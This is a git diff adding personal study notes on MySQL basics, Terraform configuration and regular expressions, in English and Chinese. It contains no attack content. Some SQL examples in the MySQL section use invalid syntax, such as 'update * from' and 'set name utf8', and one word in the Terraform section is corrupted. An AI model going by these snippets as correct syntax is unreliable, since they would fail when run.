++---------+--------------+------+-----+---------+----------------+ +| Field | Type | Null | Key | Default | Extra | ++---------+--------------+------+-----+---------+----------------+ +| id | int(11) | NO | PRI | NULL | auto_increment | +| sname | varchar(10) | NO | | | | +| gender | varchar(1) | NO | | | | +| company | varchar(20) | NO | | | | +| salary | decimal(6,2) | NO | | 0.00 | | +| fanbu | smallint(6) | NO | | 0 | | ++---------+--------------+------+-----+---------+----------------+ +6 rows in set (0.00 sec) + + +### add date `insert into table_A (X,Y,Z) values (X,1), (Y,2), (Z,3)` +mysql> `insert into` newstu (X,Y,Z) `values`( + -> (1,'a'), + -> (2,'b'), + -> (3,'c')); + +### 修改data +mysql> `update` table_name + -> `set` X = 100; +//X栏全部都改了 + +mysql> `update` * `from` table_name + -> `set` X = X+2; + -> `where` Y = 6; + +### 删除data +删除就是整行 +一个data属于修改 +mysql> `delete from` stu `where` id=2; +mysql> `delete` * `from` stu `where` id=2; +//都是删除整行 不需要 * + + +### 清空表数据 +mysql> `truncate` newstu; +Query OK, 0 rows affected (0.01 sec) +//删除表,扔了重写,(全删的情况下更快) + +mysql> `delete` `from` newstu; +//delete把数据删除重写 + +### data 没并行 +set name utf8; + +`\c` 退出继续打 diff --git a/_posts/00CodeNote/language/Terraform.md b/_posts/00CodeNote/language/Terraform.md new file mode 100644 index 00000000000..53a5956f491 --- /dev/null +++ b/_posts/00CodeNote/language/Terraform.md @@ -0,0 +1,599 @@ + + + + + + + +- [Terraform](#terraform) + - [Basic](#basic) + - [use case](#use-case) + - [Deploy](#deploy) + - [install](#install) + - [alias](#alias) + - [Variables and Outputs](#variables-and-outputs) + - [Input Variables](#input-variables) + - [Arguments](#arguments) + - [Output Values](#output-values) + - [Modules](#modules) + - [局部参数(Local Values)](#局部参数local-values) +- [Template](#template) + - [AWS](#aws) + - [provision an EC2 instance](#provision-an-ec2-instance) + - [GCP](#gcp) + +--- + + +# Terraform + + +--- + +## Basic + +- HashiCorp Terraform is an infrastructure as code tool +- lets you define both cloud and on-prem resources in human-readable configuration files that you can version, reuse, and share. +- use a consistent workflow to safely and efficiently provision and manage your infrastructure throughout its lifecycle. + +![intro-terraform-workflow](https://i.imgur.com/fJFVY3m.jpg) + +- Terraform plugins called providers let Terraform interact with cloud platforms and other services via their application programming interfaces (APIs). + + +- Terraform's configuration language is **declarative** + - it describes the desired end-state for your infrastructure, in contrast to procedural programming languages that require step-by-step instructions to perform tasks. + - Terraform providers automatically calculate dependencies between resources to create or destroy them in the correct order. + + +![assets](https://i.imgur.com/nnjRp1E.png) + + + + +--- + +## use case + +- **Standardize your deployment workflow** + - Terraform's state allows you to track resource changes throughout your deployments. + - compose resources from different providers into reusable Terraform configurations called **modules**, and manage them with a consistent language and workflow. + + + +- The human-readable configuration language helps you write infrastructure code quickly. + + +- You can commit your configurations to version control to safely collaborate on infrastructure. + +- **Multi-Cloud Deployment** + - Terraform can manage infrastructure on multiple cloud platforms. + - Provisioning infrastructure across multiple clouds increases fault-tolerance, allowing for more graceful recovery from cloud provider outages. + - multi-cloud deployments add complexity because each provider has its own interfaces, tools, and workflows. Terraform lets you use the same workflow to manage multiple providers and handle cross-cloud dependencies. This simplifies management and orchestration for large-scale, multi-cloud infrastructures. + + +- **Application Infrastructure Deployment, Scaling, and Monitoring Tools** + - efficiently deploy, release, scale, and monitor infrastructure for multi-tier applications. + - N-tier application architecture lets you scale application components independently and provides a separation of concerns. + - An application could consist of a pool of web servers that use a database tier, with additional tiers for API servers, caching servers, and routing meshes. + - Terraform allows to manage the resources in each tier together, and automatically handles dependencies between tiers. + - For example, Terraform will deploy a database tier before provisioning the web servers that depend on it. + + + +- **Self-Service Clusters** + - centralized operations team may get many repetitive infrastructure requests. + - use Terraform to build a "self-serve" infrastructure model that lets product teams manage their own infrastructure independently. + - create and use Terraform modules that codify the standards for deploying and managing services in your organization, allowing teams to efficiently deploy services in compliance with your organization’s practices. Terraform Cloud can also integrate with ticketing systems like ServiceNow to automatically generate new infrastructure requests. + + +- **Policy Compliance and Management** + - Terraform help enforce policies on the types of resources teams can provision and use. + - Ticket-based review processes are a bottleneck that can slow down development. + - Instead, use Sentinel, a policy-as-code framework, to automatically enforce compliance and governance policies before Terraform makes infrastructure changes. + - Sentinel is available with the Terraform Cloud team and governance tier. + +- **PaaS Application Setup** + - `Platform as a Service (PaaS) vendors` like Heroku allow you to create web applications and attach add-ons, such as databases or email providers. + - Heroku can elastically scale the number of dynos or workers, but most non-trivial applications need many add-ons and external services. + - use Terraform to codify the setup required for a Heroku application, configure a DNSimple to set a CNAME, and set up Cloudflare as a Content Delivery Network (CDN) for the app. Terraform can quickly and consistently do all of this without a web interface. + + + +- **Software Defined Networking** + - Terraform can interact with Software Defined Networks (SDNs) to automatically configure the network according to the needs of the applications running in it. + - move from a ticket-based workflow to an automated one, reducing deployment times. + - For example, + - when a service registers with HashiCorp Consul, Consul-Terraform-Sync can automatically generate Terraform configuration to expose appropriate ports and adjust network settings for any SDN that has an associated Terraform provider. + - Network Infrastructure Automation (NIA) allows you to safely approve the changes that your applications require without having to manually translate tickets from developers into the changes you think their applications need. + + +- **Kubernetes** + - Kubernetes is an open-source workload scheduler for containerized applications. + - Terraform lets you both deploy a Kubernetes cluster and manage its resources (e.g., pods, deployments, services, etc.). + - can also use the Kubernetes Operator for Terraform to manage cloud and on-prem infrastructure through a Kubernetes Custom Resource Definition (CRD) and Terraform Cloud. + + +- **Parallel Environments** + - You may have staging or QA environments that you use to test new applications before releasing them in production. + - As the production environment grows larger and more complex, it can be increasingly difficult to maintain an up-to-date environment for each stage of the development process. + - Terraform lets you rapidly spin up and decommission infrastructure for development, test, QA, and production. + - Using Terraform to create disposable environments as needed is more cost-efficient than maintaining each one indefinitely. + +- **Software Demos** + - use Terraform to create, provision, and bootstrap a demo on various cloud providers. + - This lets end users easily try the software on their own infrastructure and even enables them to adjust parameters like cluster size to more rigorously test tools at any scale. + + +--- + + +## Deploy + +To deploy infrastructure with Terraform: + +- `Scope` - Identify the infrastructure for your project. +- `Author` - Write the configuration for your infrastructure. +- `Initialize` - Install the plugins Terraform needs to manage the infrastructure. +- `Plan` - Preview the changes Terraform will make to match your configuration. +- `Apply` - Make the planned changes. + + +--- + + +### install + +```bash +$ brew tap hashicorp/tap + +$ brew install hashicorp/tap/terraform + +$ brew update + +$ brew upgrade hashicorp/tap/terraform + +$ terraform init +$ terraform apply +$ terraform destroy +``` + +--- + + + +### alias + +- A provider block without an alias argument is the default configuration for that provider. Resources that don't set the provider meta-argument will use the default provider configuration that matches the first word of the resource type name. + + + +**Multiple Provider Configurations** + +```bash +# The default provider configuration; resources that begin with `aws_` will use +# it as the default, and it can be referenced as `aws`. +provider "aws" { + region = "us-east-1" +} + +# Additional provider configuration for west coast region; resources can +# reference this as `aws.west`. +provider "aws" { + alias = "west" + region = "us-west-2" +} + +``` + + +- To declare a configuration alias within a module in order to receive an alternate provider configuration from the parent module, add the configuration_aliases argument to that provider's required_providers entry. The following example declares both the mycloud and mycloud.alternate provider configuration names within the containing module: + +```bash +terraform { + required_providers { + mycloud = { + source = "mycorp/mycloud" + version = "~> 1.0" + configuration_aliases = [ mycloud.alternate ] + } + } +} +``` + + + + +**Selecting Alternate Provider Configurations** + + +```bash + +# To use an alternate provider configuration for a resource or data source, +resource "aws_instance" "foo" { + provider = aws.west + # ... +} + +``` +To select alternate provider configurations for a child module, use its providers meta-argument to specify which provider configurations should be mapped to which local provider names inside the module: +```bash +module "aws_vpc" { + source = "./aws_vpc" + providers = { + aws = aws.west + } +} +``` + + +--- + +## Variables and Outputs + + +- Input variables are like function arguments. +- Output values are like function return values. +- Local values are like a function's temporary local variables. + + + + +--- + +### Input Variables + +- customize aspects of Terraform modules without altering the module's own source code. +- allows you to share modules across different Terraform configurations, making module composable and reusable. + +- declare variables in the `root module` of your configuration, you can set their values using CLI options and environment variables. +- declare them in `child modules`, the calling module should pass values in the `module` block. + +```bash +variable "image_id" { + type = string +} + +variable "availability_zone_names" { + type = list(string) + default = ["us-west-1a"] +} + +variable "docker_ports" { + type = list(object({ + internal = number + external = number + protocol = string + })) + default = [ + { + internal = 8300 + external = 8300 + protocol = "tcp" + } + ] +} + + +``` + +--- + + +#### Arguments + +Terraform CLI defines the following optional arguments for variable declarations: + + +`default` + +- A default value which then makes the variable optional. + +- the default value will be used if no value is set when calling the module or running Terraform. + +- The default argument requires a literal value and cannot reference other objects in the configuration. + +`type` + +- This argument specifies what value types are accepted for the variable. + +`description` + +- This specifies the input variable's documentation. + +`validation` + +- A block to define validation rules, usually in addition to `type` constraints. +- module author can specify arbitrary custom validation rules for a particular variable using a validation block nested within the corresponding variable block: + + +```bash +variable "image_id" { + type = string + description = "The id of the machine image (AMI) to use for the server." + + validation { + condition = length(var.image_id) > 4 && substr(var.image_id, 0, 4) == "ami-" + error_message = "The image_id value must be a valid AMI id, starting with \"ami-\"." + } + + validation { + # regex(...) fails if it cannot find a match + condition = can(regex("^ami-", var.image_id)) + error_message = "The image_id value must be a valid AMI id, starting with \"ami-\"." + } +} +``` + + + +`sensitive` + +- Limits Terraform UI output when the variable is used in configuration. +- Setting a variable as sensitive prevents Terraform from showing its value in the plan or apply output, when you use that variable elsewhere in your configuration. +- Terraform will still record sensitive values in the state, and so anyone who can access the state data will have access to the sensitive values in cleartext. + + + + +`nullable` + +- Specify if the variable can be null within the module. + +--- + + + +### Output Values + +- 在很多时候,我们需要将在云环境上创建的实例某些属性暴露给用户,比如创建的虚拟机需要暴露网卡地址,创建的web server需要暴露访问地址 +- Output Values 可以将实例的属性或者组合的属性暴露给用户,最大程度降低用户访问实例资源的可能。 +- Output可以有很多设置 + - 比如sensitive可以保证输出参数在控制台不可见,但是在模块内部可见。 + - depends_on可以显示指定出参的依赖资源 + + + +举个栗子:我们需要创建一个mysql数据库,用户实际上不需要关心mysql创建的虚拟机是什么,但是用户需要知道mysql虚拟的IP、访问端口等,因此我们通过定义Output来将mysql的相关信息返回 + +```bash +output "mysql_ip" { + value = aws_instance.server.private_ip +} + +output "mysql_port" { + value = var.port +} +# 第一个参数mysql_ip是创建的虚拟机实例的IP地址, +# 第二个参数mysql_port是用户输入或者默认的端口地址 +``` + + + +--- + +### Modules + +- 模块可以包含多个Terraform配置文件(模板) +- 主要是为了方便资源重用、复杂场景模块化需要。 +- 在同一个工作目录内定义一系列.tf文件,来整合一个复杂场景,充分利用一些基础资源等等。 + + + +Modules are containers for multiple resources that are used together. +- A module consists of a collection of `.tf and/or .tf.json` files kept together in a directory. + +- Modules are the main way to package and reuse resource configurations with Terraform. + + +**The Root Module** + +Every Terraform configuration has at least one module, known as its root module, which consists of the resources defined in the .tf files in the main working directory. + + +**Child Modules** + +A Terraform module (usually the root module of a configuration) can call other modules to include their resources into the configuration. A module that has been called by another module is often referred to as a child module. + +Child modules can be called multiple times within the same configuration, and multiple configurations can use the same child module. + +`calling` module: + +```bash +module "servers" { + source = "./app-cluster" + + servers = 5 +} +``` + + +**Published Modules** + +In addition to modules from the local filesystem, Terraform can load modules from a public or private registry. This makes it possible to publish modules for others to use, and to use modules that others have published. + + +--- + + + + + +### 局部参数(Local Values) + +- 局部参数可以在某一个模块内定义 +- 主要用途是方便在同一个模块中多次使用 + - locals 通常在 module 內用於重複使用, + - 常常用來將 variable 的值拿來運算或者特殊處理。 + + +- 一般来说是常量。 + +- Once a local value is declared, you can reference it in expressions as `local.` + +```bash +# A set of related local values can be declared together +locals { + service_name = "forum" + owner = "Community Team" +} + +locals { + # Ids for multiple sets of EC2 instances, merged together + instance_ids = concat(aws_instance.blue.*.id, aws_instance.green.*.id) +} + +locals { + # Common tags to be assigned to all resources + common_tags = { + Service = local.service_name + Owner = local.owner + } +} +``` + + + +1. 多個 variable 一次餵給 resource。 + +```bash +# Define the common tags for all resources +locals { + common_tags = { + Component = "awesome-app" + Environment = "production" + } +} + +# Create a resource that blends the common tags with instance-specific tags. +resource "aws_instance" "example" { + # ... + tags = local.common_tags +} + +resource "aws_instance" "server" { + ami = "ami-123456" + instance_type = "t2.micro" + tags = "${ + merge( + local.common_tags, + map( + "Name", "awesome-app-server", + "Role", "server" + ) + ) + }" +} +``` + + +2. locals 內可以包含 locals 進行多次處理後才給 resource。 + +```bash +# Ids for multiple sets of EC2 instances, merged together +locals { + instance_ids = "${concat(aws_instance.blue.*.id, aws_instance.green.*.id)}" +} + +# A computed default name prefix +locals { + default_name_prefix = "${var.project_name}-web" + name_prefix = "${var.name_prefix != "" ? var.name_prefix : local.default_name_prefix}" +} + +# Local values can be interpolated elsewhere using the "local." prefix. +resource "aws_s3_bucket" "files" { + bucket = "${local.name_prefix}-files" + # ... +} +``` + + + + + + + + + + + +--- + + +# Template + + +## AWS + + +### provision an EC2 instance + +```bash +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.27" + } + } + required_version = ">= 0.14.9" +} + +# Configure the AWS Provider +provider "aws" { + profile = "default" + region = "us-west-2" +} + +resource "aws_instance" "app_server" { + ami = "ami-830c94e3" + instance_type = "t2.micro" + + tags = { + Name = "ExampleAppServerInstance" + } +} +# Create a VPC +resource "aws_vpc" "example" { + cidr_block = "10.0.0.0/16" +} + + + +$ terraform plan + +# automatically updates configurations in the current directory for readability and consistency. +$ terraform fmt + +# make sure your configu[[[''\'']]]ation is syntactically valid and internally consistent +$ terraform validate +``` + + +--- + +## GCP + + +```bash + +provider "google" { + project = "acme-app" + region = "us-central1" +} + + +``` + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/other/00.RegularExpressions.md b/_posts/00CodeNote/language/other/00.RegularExpressions.md new file mode 100644 index 00000000000..8ef7c641621 --- /dev/null +++ b/_posts/00CodeNote/language/other/00.RegularExpressions.md @@ -0,0 +1,1647 @@ +# 正则表达式 + +[toc] + +## intro + +www.regexr.com + + +ref +https://www.runoob.com/regexp/regexp-example.html +https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions +https://www.regular-expressions.info/ + + + +![Screen Shot 2020-04-12 at 22.28.15](https://i.imgur.com/FtEA7MZ.png) + + +Regular expressions provide a powerful, flexible, and efficient method for processing text. The extensive `pattern-matching notation` of regular expressions enables you +- to `quickly parse` 从语法上描述或分析 large amounts of text to find specific character patterns; +- to `validate text` to ensure that it matches a predefined pattern (such as an email address); +- to `extract, edit, replace, or delete` text substrings; +- to add the extracted strings to a collection in order to generate a report. + +For many applications that deal with strings or that parse large blocks of text, regular expressions are an indispensable tool. + +正则表达式(Regular Expression)是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符("元字符")。 +- 正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。 +- 是繁琐的,但它是强大的,许多程序设计语言都支持利用正则表达式进行字符串操作。 + +```xml +//以下实例从字符串 str 中找出数字: + + + + + + 菜鸟教程(runoob.com) + + + + + + + + + +获得的匹配的表达式: +123 +``` + +--- + +### How Regular Expressions Work +The centerpiece of text processing with regular expressions is the `regular expression engine`, which is represented by the `System.Text.RegularExpressions.Regex` object in `.NET`. + +- At a minimum, processing text using regular expressions requires that the `regular expression engine` be provided with the following two items of information: + - The `regular expression pattern` to identify in the text. + - In `.NET`, `regular expression patterns` are defined by a special syntax or language, which is compatible with Perl 5 regular expressions and adds some additional features such as right-to-left matching. + - *Regular Expression Language - Quick Reference* + - The text to parse for the regular expression pattern. + +The methods of the `Regex class` let you perform the following operations: + + - Determine whether the regular expression pattern occurs in the input text by calling the **Regex.IsMatch** method. For an example that uses the `IsMatch` method for validating text, + - see *How to: Verify that Strings Are in Valid Email Format*. + + - Retrieve one or all occurrences of text that matches the regular expression pattern by calling the **Regex.Match** or **Regex.Matches** method. + - `Regex.Match` method returns a `System.Text.RegularExpressions.Match` object that provides information about the matching text. + - `Regex.Matches` method returns a `MatchCollection` object that contains one `System.Text.RegularExpressions.Match` object for each match found in the parsed text. + + - Replace text that matches the regular expression pattern by calling the **Regex.Replace** method. For examples that use the Replace method to change date formats and remove invalid characters from a string, + - see *How to: Strip Invalid Characters from a String and Example: Changing Date Formats*. + +--- + +### Text Patterns and Matches + +A regular expression is a pattern *describing a certain amount of text*. + +- On this website, `regular expressions` regex are highlighted in red + +- pattern simply matching the literal text regex. `Matches` regex are highlighted in blue on this site. + - A `match` is the piece of text, or sequence of bytes or characters that pattern was found to correspond to by the regex processing software. + +- `string`: the text that the regular expression is applied to. Strings are highlighted in green. + + +Characters with special meanings in regular expressions are highlighted in various different colors. +- The regex: `(?x)([Rr]egexp?)\?` +- meta tokens: (?x) +- grouping: () +- character classes: [Rr] +- quantifiers and other special tokens: ? +- escaped characters: `\?` + +--- + +### Different Regular Expression Engines +A `regular expression engine` is a piece of software that can process regular expressions, trying to match the pattern to the given string. +- Usually, the engine is part of a larger application and you do not access the engine directly. Rather, the application invokes it for you when needed, making sure the right regular expression is applied to the right file or data. + +- As usual in the software world, different regular expression engines are not fully compatible with each other. The syntax and behavior of a particular engine is called a `regular expression flavor`. +- the popular regular expression flavors, including `Perl, PCRE, PHP, .NET, Java, JavaScript, XRegExp, VBScript, Python, Ruby, Delphi, R, Tcl, POSIX,` and many others. + + +### How a Regex Engine Works Internally +While there are many implementations of regular expressions that differ sometimes slightly and sometimes significantly in syntax and behavior, there are basically only two kinds of regular expression engines: `text-directed engines`, and `regex-directed engines`. N +early all modern regex flavors are based on regex-directed engines. because certain very useful features, such as lazy quantifiers and backreferences, can only be implemented in regex-directed engines. + +A `regex-directed engine` walks through the `regex`, attempting to match the next token in the regex to the next character. If a match is found, the engine advances through the regex and the subject string. If a token fails to match, the engine backtracks to a previous position in the regex and the subject string where it can try a different path through the regex. This tutorial will talk a lot more about backtracking later on. Modern regex flavors using regex-directed engines have lots of features such as atomic grouping and possessive quantifiers that allow you to control this backtracking. + +A `text-directed engine` walks through the `subject string`, attempting all permutations of the regex before advancing to the next character in the string. A text-directed engine never backtracks. Thus, there isn’t much to discuss about the matching process of a text-directed engine. In most cases, a text-directed engine finds the same matches as a regex-directed engine. + +When this tutorial talks about regex engine internals, the discussion assumes a regex-directed engine. It only mentions text-directed engines in situations where they find different matches. And that only really happens when your regex uses alternation with two alternatives that can match at the same position. + +### The Regex Engine Always Returns the Leftmost Match +This is a very important point to understand: a regex engine always returns the leftmost match, even if a “better” match could be found later. + +When applying a regex to a string, the engine starts at the `first character` of the string. +- It tries all possible permutations of the regular expression at the first character. +- Only if all possibilities have been tried and found to fail, does the engine continue with the second character in the text. +- it tries all possible permutations of the regex, in the same order. the regex engine returns the leftmost match. + +When applying `cat` to `"He captured a catfish for his cat."` +- the engine match the first `token` in the regex c to the first character in the match H. This fails. There are no other possible permutations of this regex, because it merely consists of a sequence of literal characters. +- So the regex engine tries to match the c with the e. This fails too +- Arriving at the 4th character in the string, c matches c. The engine then tries to match the second `token` a to the 5th character, a. This succeeds too. +- But then, t fails to match p. At that point, the engine knows `the regex cannot be matched starting at the 4th character` in the string. +- So it continues with the 5th: a. Again, c fails to match here and the engine carries on. +- At the 15th character in the string, c again matches c. The engine then proceeds to attempt to match the remainder of the regex at character 15 and finds that a matches a and t matches t. +- The entire regular expression could be matched starting at character 15. The engine is “eager” to report a match. It therefore reports the `first three letters of catfish` as a valid match. + +The engine never proceeds beyond this point to see if there are any “better” matches. The first match is considered good enough. + + +--- + +## 正则表达式 - 简介 + +不涉及脚本的某些正则表达式概念。 +- 使用 ? 和 * 通配符来查找硬盘上的文件。? +- `?` 通配符匹配文件名中的 0 个或 1 个字符, +- `*` 通配符匹配零个或多个字符。 + +像 `data(\w)?\.dat` 这样的模式将查找下列文件: + + data.dat + data1.dat + data2.dat + datax.dat + dataN.dat + +使用 * 字符代替 ? 字符扩大了找到的文件的数量。 +- `data.*\.dat` 匹配下列所有文件: + + data.dat + data1.dat + data2.dat + data12.dat + datax.dat + dataXYZ.dat + +尽管这种搜索方法很有用,但它还是有限的。 + +正则表达式功能更强大,而且更加灵活。 + +正则表达式的使用,可以通过简单的办法来实现强大的功能。 + + +```py +# 示例 +^[0-9]+abc$ + +- ^ 为匹配输入字符串的开始位置。 +- [0-9]+ 匹配多个数字 + - [0-9] 匹配单个数字, + - + 匹配一个或者多个。 +- abc$ 匹配字母 abc 并以 abc 结尾,$ 为匹配输入字符串的结束位置。 + + +# 写用户注册表单时,只允许用户名包含字符、数字、下划线和连接字符(-),并设置用户名的长度,就可以使用以下正则表达式来设定。 +^[a-z0-9_-]{3,15}$ + +- ^ 开始标记。 +- [a-z0-9_-] 匹配多个数字a-z_- +- {3,15} 3to15 long +- $ 结束标记。 + +以上的正则表达式可以匹配 runoob、runoob1、run-oob、run_oob, +但不匹配 ru,因为它包含的字母太短了,小于 3 个无法匹配。 +也不匹配 runoob$, 因为它包含特殊字符$。 + + + +# 匹配以数字开头,并以 abc 结尾的字符串。 +var str = "123abc"; +var patt1 = /^[0-9]+abc$/; +document.write(str.match(patt1)); +# 以下标记的文本是获得的匹配的表达式: +123abc +``` + +### 为什么使用正则表达式? +典型的搜索和替换操作要求您提供与预期的搜索结果匹配的确切文本。虽然这种技术对于对静态文本执行简单搜索和替换任务可能已经足够了,但它缺乏灵活性,若采用这种方法搜索动态文本,即使不是不可能,至少也会变得很困难。 + +通过使用正则表达式,可以: +- 测试字符串内的模式。 + - 例如,可以测试输入字符串,以查看字符串内是否出现电话号码模式或信用卡号码模式。这称为`数据验证`。 +- 替换文本。 + - 可以使用正则表达式来识别文档中的特定文本,完全删除该文本或者用其他文本替换它。 +- 基于模式匹配从字符串中提取子字符串。 + - 可以查找文档内或输入域内特定的文本。 + + +例如,您可能需要搜索整个网站,删除过时的材料,以及替换某些 HTML 格式标记。在这种情况下,可以使用正则表达式来确定在每个文件中是否出现该材料或该 HTML 格式标记。此过程将受影响的文件列表缩小到包含需要删除或更改的材料的那些文件。然后可以使用正则表达式来删除过时的材料。最后,可以使用正则表达式来搜索和替换标记。 + +--- + +## 正则表达式 - 语法 +正则表达式(regular expression)描述了一种字符串匹配的模式(pattern) +- 可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 + +例如: + +runo`o+`b,可以匹配 runoob、runooob、runoooooob 等, +- `+` 号代表前面的字符必须`至少出现一次`(1次或多次)。 + +runo`o*`b,可以匹配 runob、runoob、runoooooob 等, +- `*` 号代表字符`可以不出现,也可以出现一次或者多次`(0次、或1次、或多次)。 + +colo`u?`r 可以匹配 color 或者 colour, +- `?` 问号代表前面的字符`最多只可以出现一次`(0次、或1次)。 + + +构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与运算符可以将小的表达式结合在一起来创建更大的表达式。正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。 + +正则表达式是由普通字符(例如字符 a 到 z)以及特殊字符(称为"元字符")组成的文字模式。模式描述在搜索文本时要匹配的一个或多个字符串。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。 + + +### Character Classes or Character Sets `[]` +With a “character class/set”, you can tell the regex engine to match only one out of several characters. Simply place the characters you want to match between square brackets. +- The *order of the characters* inside a character class does not matter.The results are identical. + +to match an a or an e, use `[ae]`. +- use `gr[ae]y` to match either gray or grey. +- Very useful if you do not know whether the document you are searching through is written in American or British English. + +A `character class` matches only a single character. +- `gr[ae]y` does not match graay, graey or any such thing. + + +`a range of characters`: use a `hyphen` inside a character class +- `[0-9]` matches a single digit between 0 and 9. + +use more than one range. +- `[0-9a-fA-F]` matches a single hexadecimal digit, case insensitively. + +combine ranges and single characters. +- `[0-9a-fxA-FX]` matches a hexadecimal digit or the letter X. +- the order of the characters and the ranges does not matter. + + +Character classes are one of the most commonly used features of regular expressions. + +- find a word, even if it is misspelled such as `sep[ae]r[ae]te` or `li[cs]en[cs]e`. + +- find an identifier in a programming language with `[A-Za-z_][A-Za-z_0-9]*`. + +- find a C-style hexadecimal number with `0[xX][A-Fa-f0-9]+`. + + +### Negated Character Classes [`^`abc] +Typing a `caret` after the `opening square bracket` negates the character class. +- The result: the character class matches any character that is not in the character class. + +Unlike the dot, negated character classes also match (invisible) line break characters. If you don’t want a negated character class to match line breaks, you need to include the line break characters in the class. +- `[^0-9\r\n]` matches any character that is not a digit or a line break. + +It is important to remember that a `negated character class` still *must match a character*. +- `q[^u]` +- does not mean: “a q not followed by a u”. +- It means: “a q followed by a character that is not a u”. +- It does not match the q in the string `Iraq`. +- It does match the q and the space after the q in `Iraq is a country`. + +Indeed: the space becomes part of the overall match, because it is the “character that is not a u” that is matched by the negated character class in the above regexp. If you want the regex to match the q, and only the q, in both strings, you need to use negative lookahead: `q(?!u)`. But we will get to that later. + +### Metacharacters Inside Character Classes +In most regex flavors, the only `special characters` or `metacharacters` inside a `character class` are the closing bracket `]`, the backslash `\`, the caret `^`, and the hyphen `-`. + +The usual `metacharacters` are normal characters inside a `character class`, and do not need to be escaped by a `backslash`. +- To search for a star or plus, use `[+*]`. +- Your regex will work fine if you escape the regular metacharacters inside a character class, but doing so significantly reduces readability. + +To include a backslash as a character without any special meaning inside a character class, you have to escape it with another backslash. +- `[\\x]` matches a backslash or an x. +- The closing bracket ], the caret ^ and the hyphen - can be included by escaping them with a backslash, or by placing them in a position where they do not take on their special meaning. The POSIX and GNU flavors are an exception. They treat backslashes in character classes as literal characters. So with these flavors, you can’t escape anything in character classes. + +To include an unescaped caret as a literal, place it anywhere except right after the opening bracket. +- `[x^]` matches an x or a caret. This works with all flavors discussed in this tutorial. + +You can include an unescaped closing bracket by placing it right after the opening bracket, or right after the negating caret. +- `[]x]` matches a closing bracket or an x. +- `[^]x]` matches any character that is `not a closing bracket or an x`. This does not work in JavaScript, which treats [] as an empty character class that always fails to match, and [^] as a negated empty character class that matches any single character. Ruby treats empty character classes as an error. So both JavaScript and Ruby require closing brackets to be escaped with a backslash to include them as literals in a character class. + +The hyphen can be included right after the opening bracket, or right before the closing bracket, or right after the negating caret. +- Both [-x] and [x-] match an x or a hyphen. +- [^-x] and [^x-] match any character that is not an x or a hyphen. +- This works in all flavors discussed in this tutorial. Hyphens at other positions in character classes where they can’t form a range may be interpreted as literals or as errors. Regex flavors are quite inconsistent about this. + +Many regex tokens that work outside character classes can also be used inside character classes. This includes character escapes, octal escapes, and hexadecimal escapes for non-printable characters. For flavors that support Unicode, it also includes Unicode character escapes and Unicode properties. `[$\u20AC]` matches a dollar or euro sign, assuming your regex flavor supports Unicode escapes. + +### Repeating Character Classes +If you repeat a character class by using the ?, * or + operators, you’re repeating the entire character class. You’re not repeating just the character that it matched. +- `[0-9]+` can match 837 as well as 222. + +If you want to repeat the matched character, rather than the class, you need to use backreferences. +- `([0-9])\1+` matches 222 but not 837. When applied to the string 833337, it matches 3333 in the middle of this string. If you do not want that, you need to use lookaround. + +### Looking Inside The Regex Engine +As was mentioned earlier: the order of the characters inside a character class does not matter. +- `gr[ae]y` matches `grey` in `"Is his hair grey or gray?"`, because that is the leftmost match. + +We already saw how the engine applies a regex consisting only of literal characters. Now we’ll see *how it applies a regex that has more than one permutation*. +- `gr[ae]y` can match both gray and grey. +- Nothing noteworthy happens for the first twelve characters in the string. The engine fails to match `g` at every step, and continues with the next character in the string. +- When the engine arrives at the 13th character, `g` is matched. The engine then tries to match the remainder of the regex with the text. The next token in the regex is the literal `r`, which matches the next character in the text. So the third token, `[ae]` is attempted at the next character in the text (e). +- The character class gives the engine two options: match `a` or match `e`. +- It first attempts to match `a`, and fails. + +But because we are using a `regex-directed` engine, it must continue trying to match all the other `permutations of the regex pattern` before deciding that the regex cannot be matched with the text starting at character 13. +- So it continues with the other option, and finds that `e` matches `e`. The last regex token is `y`, which can be matched with the following character as well. The engine has found a `complete match` with the text starting at character 13. +- It returns `grey` as the match result, and looks no further. Again, the `leftmost match` is returned, even though we put the `a` first in the character class, and `gray` could have been matched in the string. +- But the engine simply did not get that far, because another equally valid match was found to the left of it. +- `gray` is only matched if you tell the regex engine to continue looking for a second match in the remainder of the subject string after the first match. + +--- + +### Character Class `Subtraction` 减法 `[class-[subtract]]`. +`Character class subtraction` is supported by the XML Schema, XPath, .NET (version 2.0 and later), and JGsoft regex flavors. +- It makes it easy to match `any single character` present in `one list (the character class)`, but not present in `another list (the subtracted class)`. +- syntax: `[class-[subtract]]`. +- If the character after a hyphen is an `opening bracket`, these flavors interpret the `hyphen` as the `subtraction operator` rather than the `range operator`. You can use the full character class syntax within the subtracted character class. + +- The character class `[a-z-[aeiuo]]`: single letter that is not a vowel. it matches a single consonant. + - Without `character class subtraction / intersection`, the only way to do this would be to list all consonants: `[b-df-hj-np-tv-z]`. + +- The character class `[\p{Nd}-[^\p{IsThai}]]` matches any single Thai digit. The base class matches any Unicode digit. All non-Thai characters are subtracted from that class. + - `[\p{Nd}-[\P{IsThai}]]` does the same. + - `[\p{IsThai}-[^\p{Nd}]]` and `[\p{IsThai}-[\P{Nd}]]` also match a single Thai digit by subtracting all non-digits from the Thai characters. + +#### Nested Character Class Subtraction +1. Since you can use the `full character class` syntax within the `subtracted character class`, you can `subtract a class from the class being subtracted`. + + - `[0-9-[0-6-[0-3]]]` + - first subtracts 0-3 from 0-6, + - yielding `[0-9-[4-6]]`, or `[0-37-9]`, which matches any character in the string 0123789. + +2. The `class subtraction` must always be the last element in the character class. + + - `[0-9-[4-6]a-f]`: not a valid regular expression. + - It should be rewritten as `[0-9a-f-[4-6]]`. + +3. The subtraction works on the whole class. + + - `[\p{Ll}\p{Lu}-[\p{IsBasicLatin}]]` matches all uppercase and lowercase Unicode letters, except any ASCII letters. + - The `\p{IsBasicLatin}` is subtracted from the combination of `\p{Ll}\p{Lu}` rather than from `\p{Lu}` alone. + - This regex will not match `abc`. + +4. While you can use nested character class subtraction, you cannot subtract two classes sequentially. + + - To subtract `ASCII characters` and `Greek characters` from a 